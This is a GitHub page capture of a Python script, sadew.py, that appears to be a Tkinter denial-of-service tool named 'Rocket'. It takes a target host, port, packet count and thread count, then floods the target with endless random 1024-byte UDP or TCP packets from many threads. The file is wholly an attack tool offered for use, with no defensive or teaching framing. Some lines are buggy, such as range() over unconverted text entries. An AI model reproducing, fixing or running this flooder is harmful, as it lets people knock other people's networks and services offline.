-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathsadew.py
89 lines (65 loc) · 1.97 KB
/
sadew.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from secrets import choice
import tkinter as tk
import os
import random
import socket
import threading
import psutil
def attack(event):
for y in range(int(Entry5.get())):
th = threading.Thread(target = run)
th.start()
def tcpattack(eventb):
data = random._urandom(1024)
while True:
cpu = psutil.cpu_percent(interval=1)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(Entry1.get()) ,int(Entry2.get())))
s.send(data)
for x in range(Entry4.get()):
s.send(data)
print(" Sent!!!"+" cpu使用率:"+str(cpu))
except:
s.close()
print("Error!!!"+" cpu使用率:"+str(cpu))
def run():
data = random._urandom(1024)
i = random.choice(("[*]","[!]","[#]"))
while True:
cpu = psutil.cpu_percent(interval=1)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
addr = (str(Entry1.get()),int(Entry2.get()))
for x in range(Entry4.get()):
s.sendto(data,addr)
print("Sent!!!"+" cpu使用率:"+str(cpu))
except:
print("Error!!!"+" cpu使用率:"+str(cpu))
app = tk.Tk()
app.title("Rocket ver.0.0.2")
app.resizable(width=False, height=False)
Static1 = tk.Label(text=u'▼ホストかIP▼')
Static1.pack()
# Entryを出現させる
Entry1 = tk.Entry()
Entry1.pack()
Static2 = tk.Label(text=u'▼ポート▼')
Static2.pack()
Entry2 = tk.Entry()
Entry2.pack()
Static4 = tk.Label(text=u'▼1接続あたりのパケット数▼')
Static4.pack()
Entry4 = tk.Entry()
Entry4.pack()
Static5 = tk.Label(text=u'▼スレッド数▼')
Static5.pack()
Entry5 = tk.Entry()
Entry5.pack()
Button1 = tk.Button(text=u'発射(UDP)', width=50)
Button1.bind("<Button-1>", attack) # ボタンが押されたときに実行される関数をバインドします
Button1.pack()
Button2 = tk.Button(text=u'発射(TCP)', width=50)
Button2.bind("<Button-2>", tcpattack)
Button2.pack()
app.mainloop()